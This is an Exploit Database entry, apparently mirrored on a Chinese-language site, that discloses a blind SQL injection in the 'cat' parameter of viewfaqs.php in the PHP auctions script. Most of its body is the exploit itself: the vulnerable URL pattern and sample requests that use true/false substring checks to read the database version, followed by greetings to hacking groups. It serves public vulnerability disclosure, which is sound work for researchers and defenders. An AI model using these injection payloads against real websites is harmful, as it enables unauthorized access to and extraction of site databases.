PHP auctions – ‘viewfaqs.php’ Blind SQL Injection

• Exploit Database
• 11 阅读

• 作者： h4ck3r
  日期： 2011-01-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16018/

• ==
  [#]Script: PHP auctions
  [#]Version: n/a
  [#]Link: http://phpauctions.info
  ==
  [#]Author: BorN To K!LL - h4ck3r
  [#]Contact: SQL@hotmail.co.uk
  ==
  [#]3xploit:
  /viewfaqs.php?cat=[Blind-Injection]
  
  [#]3xample:
  /viewfaqs.php?cat=2 and substring(version(),1,1)=4 // false ,,
  /viewfaqs.php?cat=2 and substring(version(),1,1)=5// true ,,
  
  ==
  [#]Greetings:
  darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
  ==